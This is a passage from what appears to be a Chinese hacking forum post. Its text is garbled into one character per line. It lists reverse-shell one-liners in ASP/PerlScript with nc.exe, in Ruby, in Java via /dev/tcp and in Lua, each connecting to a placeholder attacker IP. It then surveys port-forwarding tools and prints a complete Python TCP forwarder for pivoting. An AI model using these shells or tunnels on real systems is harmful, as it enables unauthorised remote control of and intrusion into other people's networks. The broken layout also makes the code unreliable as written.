o
r
m
H
T
T
P
r
e
s
p
o
n
s
e
u
s
i
n
g
a
l
l
t
h
e
m
e
s
s
a
g
e
s
g
a
t
h
e
r
e
d
b
y
c
g
i
p
r
i
n
t
s
o
f
a
r
s
u
b
c
g
i
p
r
i
n
t
p
a
g
e
{
p
r
i
n
t
"
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
"
.
l
e
n
g
t
h
(
$
g
l
o
b
a
l
_
p
a
g
e
)
.
"
r
C
o
n
n
e
c
t
i
o
n
:
c
l
o
s
e
r
C
o
n
t
e
n
t
-
T
y
p
e
:
t
e
x
t
/
h
t
m
l
r
n
r
n
"
.
$
g
l
o
b
a
l
_
p
a
g
e
;
}
A
S
P
环
境
下
调
用
p
e
r
l
s
c
r
i
p
t
执
行
方
式
<
%
@
L
a
n
g
u
a
g
e
=
P
e
r
l
S
c
r
i
p
t
%
>
#
表
明
A
S
P
脚
本
使
用
语
言
为
P
e
r
l
s
c
r
i
p
t
<
%
s
y
s
t
e
m
(
"
c
:
/
/
R
e
c
y
c
l
e
r
/
/
c
m
d
.
e
x
e
/
c
c
:
/
/
R
e
c
y
c
l
e
r
/
/
n
c
.
e
x
e
-
e
c
m
d
.
e
x
e
-
v
x
.
x
.
x
.
x
4
4
3
"
)
;
#
用
s
y
s
t
e
m
函
数
执
行
命
令
的
方
式
#
e
x
e
c
(
"
c
:
/
/
R
e
c
y
c
l
e
r
/
/
c
m
d
.
e
x
e
/
c
c
:
/
/
R
e
c
y
c
l
e
r
/
/
n
c
.
e
x
e
-
e
c
m
d
.
e
x
e
-
v
x
.
x
.
x
.
x
4
4
3
"
)
;
#
用
e
x
e
c
函
数
执
行
命
令
的
方
式
%
>
7
)
R
u
b
y
惯
例
,
首
先
一
个
调
用
/
b
i
n
/
s
h
的
r
u
b
y
-
r
s
o
c
k
e
t
-
e
'
f
=
T
C
P
S
o
c
k
e
t
.
o
p
e
n
(
"
x
.
x
.
x
.
x
"
,
2
3
3
3
)
.
t
o
_
i
;
e
x
e
c
s
p
r
i
n
t
f
(
"
/
b
i
n
/
s
h
-
i
<
&
%
d
>
&
%
d
2
>
&
%
d
"
,
f
,
f
,
f
)
'
一
个
不
依
赖
于
/
b
i
n
/
s
h
的
反
弹
s
h
e
l
l
:
r
u
b
y
-
r
s
o
c
k
e
t
-
e
'
e
x
i
t
i
f
f
o
r
k
;
c
=
T
C
P
S
o
c
k
e
t
.
n
e
w
(
"
x
.
x
.
x
.
x
"
,
"
2
3
3
3
"
)
;
w
h
i
l
e
(
c
m
d
=
c
.
g
e
t
s
)
;
I
O
.
p
o
p
e
n
(
c
m
d
,
"
r
"
)
{
|
i
o
|
c
.
p
r
i
n
t
i
o
.
r
e
a
d
}
e
n
d
'
W
i
n
d
o
w
s
环
境
使
用
r
u
b
y
-
r
s
o
c
k
e
t
-
e
'
c
=
T
C
P
S
o
c
k
e
t
.
n
e
w
(
"
x
.
x
.
x
.
x
"
,
"
4
4
4
4
"
)
;
w
h
i
l
e
(
c
m
d
=
c
.
g
e
t
s
)
;
I
O
.
p
o
p
e
n
(
c
m
d
,
"
r
"
)
{
|
i
o
|
c
.
p
r
i
n
t
i
o
.
r
e
a
d
}
e
n
d
'
此
外
M
S
F
中
也
有
相
应
模
块
可
以
调
用
,
就
不
多
提
8
)
J
a
v
a
给
出
一
个
调
用
/
b
i
n
/
b
a
s
h
的
脚
本
r
=
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
p
=
r
.
e
x
e
c
(
[
"
/
b
i
n
/
b
a
s
h
"
,
"
-
c
"
,
"
e
x
e
c
5
&
l
t
;
&
g
t
;
/
d
e
v
/
t
c
p
/
x
.
x
.
x
.
x
/
2
3
3
3
;
c
a
t
&
l
t
;
&
a
m
p
;
5
|
w
h
i
l
e
r
e
a
d
l
i
n
e
;
d
o
$
l
i
n
e
2
&
g
t
;
&
a
m
p
;
5
&
g
t
;
&
a
m
p
;
5
;
d
o
n
e
"
]
a
s
S
t
r
i
n
g
[
]
)
p
.
w
a
i
t
F
o
r
(
)
M
S
F
中
也
有
相
应
模
块
可
以
调
用
9
)
L
u
a
l
u
a
-
e
"
r
e
q
u
i
r
e
(
'
s
o
c
k
e
t
'
)
;
r
e
q
u
i
r
e
(
'
o
s
'
)
;
t
=
s
o
c
k
e
t
.
t
c
p
(
)
;
t
:
c
o
n
n
e
c
t
(
'
x
.
x
.
x
.
x
'
,
'
2
3
3
3
'
)
;
o
s
.
e
x
e
c
u
t
e
(
'
/
b
i
n
/
s
h
-
i
<
&
3
>
&
3
2
>
&
3
'
)
;
"
类
似
不
做
解
释
0
x
0
2
端
口
转
发
上
面
总
结
反
弹
s
h
e
l
l
的
各
种
已
知
主
流
或
非
主
流
方
式
,
下
面
扯
一
下
端
口
转
发
.
已
知
的
大
众
方
式
如
:
l
c
x
老
牌
工
具
h
t
r
a
n
/
f
p
o
r
t
/
f
p
i
p
e
等
a
n
t
i
f
w
修
改
3
3
8
9
端
口
为
8
0
r
e
d
u
h
提
供
了
借
助
h
t
t
p
/
h
t
t
p
s
隧
道
连
接
3
3
8
9
的
另
一
种
方
式
t
u
n
n
a
给
出
了
比
r
e
d
u
h
更
稳
定
快
速
的
解
决
方
法
在
L
i
n
u
x
环
境
下
,
则
可
考
虑
借
助
脚
本
实
现
,
如
P
e
r
l
/
P
y
t
h
o
n
等
.
知
道
创
宇
K
n
o
w
n
s
e
c
曾
给
出
一
个
r
t
c
p
.
p
y
脚
本
做
转
发
之
用
,
不
过
测
试
发
现
只
支
持
单
点
连
接
,
推
荐
使
用
此
脚
本
,
支
持
多
c
l
i
e
n
t
同
时
连
接
#
!
/
u
s
r
/
b
i
n
/
e
n
v
p
y
t
h
o
n
#
-
*
-
c
o
d
i
n
g
:
u
t
f
-
8
-
*
-
i
m
p
o
r
t
s
y
s
i
m
p
o
r
t
s
o
c
k
e
t
i
m
p
o
r
t
t
h
r
e
a
d
i
n
g
i
m
p
o
r
t
l
o
g
g
i
n
g
i
m
p
o
r
t
o
p
t
p
a
r
s
e
c
l
a
s
s
P
i
p
e
T
h
r
e
a
d
(
t
h
r
e
a
d
i
n
g
.
T
h
r
e
a
d
)
:
d
e
f
_
_
i
n
i
t
_
_
(
s
e
l
f
,
s
o
u
r
c
e
_
f
d
,
t
a
r
g
e
t
_
f
d
)
:
s
u
p
e
r
(
P
i
p
e
T
h
r
e
a
d
,
s
e
l
f
)
.
_
_
i
n
i
t
_
_
(
)
s
e
l
f
.
l
o
g
g
e
r
=
l
o
g
g
i
n
g
.
g
e
t
L
o
g
g
e
r
(
'
P
i
p
e
T
h
r
e
a
d
'
)
s
e
l
f
.
s
o
u
r
c
e
_
f
d
=
s
o
u
r
c
e
_
f
d
s
e
l
f
.
t
a
r
g
e
t
_
f
d
=
t
a
r
g
e
t
_
f
d
s
e
l
f
.
s
o
u
r
c
e
_
a
d
d
r
=
s
e
l
f
.
s
o
u
r
c
e
_
f
d
.
g
e
t
p
e
e
r
n
a
m
e
(
)
s
e
l
f
.
t
a
r
g
e
t
_
a
d
d
r
=
s
e
l
f
.
t
a
r
g
e
t
_
f
d
.
g
e
t
p
e
e
r
n
a
m
e
(
)
d
e
f
r
u
n
(
s
e
l
f
)
:
w
h
i
l
e
T
r
u
e
:
t
r
y
:
d
a
t
a
=
s
e
l
f
.
s
o
u
r
c
e
_
f
d
.
r
e
c
v
(
4
0
9
6
)
i
f
l
e
n
(
d
a
t
a
)
>
0
:
s
e
l
f
.
l
o
g
g
e
r
.
d
e
b
u
g
(
'
r
e
a
d
%
0
4
i
f
r
o
m
%
s
:
%
d
'
,
l
e
n
(
d
a
t
a
)
,
s
e
l
f
.
s
o
u
r
c
e
_
a
d
d
r
[
0
]
,
s
e
l
f
.
s
o
u
r
c
e
_
a
d
d
r
[
1
]
)
s
e
n
t
=
s
e
l
f
.
t
a
r
g
e
t
_
f
d
.
s
e
n
d
(
d
a
t
a
)
s
e
l
f
.
l
o
g
g
e
r
.
d
e
b
u
g
(
'
w
r
i
t
e
%
0
4
i
t
o
%
s
:
%
d
'
,
s
e
n
t
,
s
e
l
f
.
t
a
r
g
e
t
_
a
d
d
r
[
0
]
,
s
e
l
f
.
t
a
r
g
e
t
_
a
d
d
r
[
1
]
)
e
l
s
e
:
b
r
e
a
k
e
x
c
e
p
t
s
o
c
k
e
t
.
e
r
r
o
r
:
b
r
e
a
k
s
e
l
f
.
l
o
g
g
e
r
.
d
e
b
u
g
(
'
c
o
n
n
e
c
t
i
o
n
%
s
:
%
d
i
s
c
l
o
s
e
d
.
'
,
s
e
l
f
.
s
o
u
r
c
e
_
a
d
d
r
[
0
]
,
s
e
l
f
.
s
o
u
r
c
e
_
a
d
d
r
[
1
]
)
s
e
l
f
.
l
o
g
g
e
r
.
d
e
b
u
g
(
'
c
o
n
n
e
c
t
i
o
n
%
s
:
%
d
i
s
c
l
o
s
e
d
.
'
,
s
e
l
f
.
t
a
r
g
e
t
_
a
d
d
r
[
0
]
,
s
e
l
f
.
t
a
r
g
e
t
_
a
d
d
r
[
1
]
)
s
e
l
f
.
s
o
u
r
c
e
_
f
d
.
c
l
o
s
e
(
)
s
e
l
f
.
t
a
r
g
e
t
_
f
d
.
c
l
o
s
e
(
)
c
l
a
s
s
F
o
r
w
a
r
d
e
r
(
o
b
j
e
c
t
)
:
d
e
f
_
_
i
n
i
t
_
_
(
s
e
l
f
,
i
p
,
p
o
r
t
,
r
e
m
o
t
e
i
p
,
r
e
m
o
t
e
p
o
r
t
,
b
a
c
k
l
o
g
=
5
)
:
s
e
l
f
.
r
e
m
o
t
e
i
p
=
r
e
m
o
t
e
i
p
s
e
l
f
.
r
e
m
o
t
e
p
o
r
t
=
r
e
m
o
t
e
p
o
r
t
s
e
l
f
.
s
o
c
k
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
s
e
l
f
.
s
o
c
k
.
s
e
t
s
o
c
k
o
p
t
(
s
o
c
k
e
t
.
S
O
L
_
S
O
C
K
E
T
,
s
o
c
k
e
t
.
S
O
_
R
E
U
S
E
A
D
D
R
,
1
)
s
e
l
f
.
s
o
c
k
.
b
i
n
d
(
(
i
p
,
p
o
r
t
)
)
s
e
l
f
.
s
o
c
k
.
l
i
s
t
e
n
(
b
a
c
k
l
o
g
)
d
e
f
r
u
n
(
s
e
l
f
)
:
w
h
i
l
e
T
r
u
e
:
c
l
i
e
n
t
_
f
d
,
c
l
i
e
n
t
_
a
d
d
r
=
s
e
l
f
.
s
o
c
k
.
a
c
c
e
p
t
(
)
t
a
r
g
e
t
_
f
d
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
t
a
r
g
e
t
_
f
d
.
c
o
n
n
e
c
t
(
(
s
e
l
f
.
r
e
m
o
t
e
i
p
,
s
e
l
f
.
r
e
m
o
t
e
p
o
r
t
)
)
t
h
r
e
a
d
s
=
[
P
i
p
e
T
h
r
e
a
d
(
c
l
i
e
n
t
_
f
d
,
t
a
r
g
e
t
_
f
d
)
,
P
i
p
e
T
h
r
e
a
d
(
t
a
r
g
e
t
_
f
d
,
c
l
i
e
n
t
_
f
d
)
]
f
o
r
t
i
n
t
h
r
e
a
d
s
:
t
.
s
e
t
D
a
e
m
o
n
(
T
r
u
e
)
t
.
s
t
a
r
t
(
)
d
e
f
_
_
d
e
l
_
_
(
s
e
l
f
)
:
s
e
l
f
.
s
o
c
k
.
c
l
o
s
e
(
)
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
p
a
r
s
e
r
=
o
p
t
p
a
r
s
e
.
O
p
t
i
o
n
P
a
r
s
e
r
(
)
p
a
r
s
e
r
.
a
d
d
_
o
p
t
i
o
n
(
'
-
l
'
,
'
-
-
l
o
c
a
l
-
i
p
'
,
d
e
s
t
=
'
l
o
c
a
l
_
i
p
'
,
h
e
l
p
=
'
L
o
c
a
l
I
P
a
d
d
r
e
s
s
t
o
b
i
n
d
t
o
'
)
p
a
r
s
e
r
.
a
d
d
_
o
p
t
i
o
n
(
'
-
p
'
,
'
-
-
l
o
c
a
l
-
p
o
r
t
'
,
t
y
p
e
=
'
i
n
t
'
,
d
e
s
t
=
'
l
o
c
a
l
_
p
o
r
t
'
,
h
e
l
p
=
'
L
o
c
a
l
p
o
r
t
t
o
b
i
n
d
t
o
'
)
p
a
r
s
e
r
.
a
d
d
_
o
p
t
i
o
n
(
'
-
r
'
,
'
-
-
r
e
m
o
t
e
-
i
p
'
,
d
e
s
t
=
'
r
e
m
o
t
e
_
i
p
'
,
h
e
l
p
=
'
L
o
c
a
l
I
P
a
d
d
r
e
s
s
t
o
b
i
n
d
t
o
'
)
p
a
r
s
e
r
.
a
d
d
_
o
p
t
i
o
n
(
'
-
P
'
,
'
-
-
r
e
m
o
t
e
-
p
o
r
t
'
,
t
y
p
e
=
'
i
n
t
'
,
d
e
s
t
=
'
r
e
m
o
t
e
_
p
o
r
t
'
,
h
e
l
p
=
'
R
e
m
o
t
e
p
o
r
t
t
o
b
i
n
d
t
o
'
)
p
a
r
s
e
r
.
a
d
d
_
o
p
t
i
o
n
(
'
-
v
'
,
'
-
-
v
e
r
b
o
s
e
'
,
a
c
t
i
o
n
=
'
s
t
o
r
e
_
t
r
u
e
'
,
d
e
s
t
=
'
v
e
r
b
o
s
e
'
,
h
e
l
p
=
'
v
e
r
b
o
s
e
'
)
o
p
t
s
,
a
r
g
s
=
p
a
r
s
e
r
.
p
a
r
s
e
_
a
r
g
s
(
)
i
f
l
e
n
(
s
y
s
.
a
r
g
v
)
=
=
1
o
r
l
e
n
(
a
r
g
s
)
>
0
:
p
a
r
s
e
r
.
p
r
i
n
t
_
h
e
l
p
(
)
e
x
i
t
(
)
i
f
n
o
t
(
o
p
t
s
.
l
o
c
a
l
_
i
p
a
n
d
o
p
t
s
.
l
o
c
a
l
_
p
o
r
t
a
n
d
o
p
t
s
.
r
e
m
o
t
e
_
i
p
a
n
d
o
p
t
s
.
r
e
m
o
t
e
_
p
o
r
t
)
:
p
a
r
s
e
r
.
p
r
i
n
t
_
h
e
l
p
(
)
e
x
i
t
(
)
i
f
o
p
t
s
.
v
e
r
b
o
s
e
:
l
o
g
_
l
e
v
e
l
=
l
o
g
g
i
n
g
.
D
E
B
U
G
e
l
s
e
:
l
o
g
_
l
e
v
e
l
=
l
o
g
g
i
n
g
.
C
R
I
T
I
C
A
L
l
o
g
g
i
n
g
.
b
a
s
i
c
C
o
n
f
i
g
(
l
e
v
e
l
=
l
o
g
_
l
e
v
e
l
,
f
o
r
m
a
t
=
'
%
(
n
a
m
e
)
-
1
1
s
:
%
(
m
e
s
s
a
g
e
)
s
'
)
f
o
r
w
a
r
d
e
r
=
F
o
r
w
a
r
d
e
r
(
o
p
t
s
.
l
o
c
a
l
_
i
p
,
o
p
t
s
.
l
o
c
a
l
_
p
o
r
t
,
o
p
t
s
.
r
e
m
o
t
e
_
i
p
,
o
p
t
s
.
r
e
m
o
t
e
_
p
o
r
t
)
t
r
y
:
f
o
r
w
a
r
d
e
r
.
r
u
n
(
)
e
x
c
e
p
t
K
e
y
b
o
a
r
d
I
n
t
e
r
r
u
p
t
:
p
r
i
n
t
'
q
u
i
t
'
e
x
i
t
(
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
浏览过的版块
IOT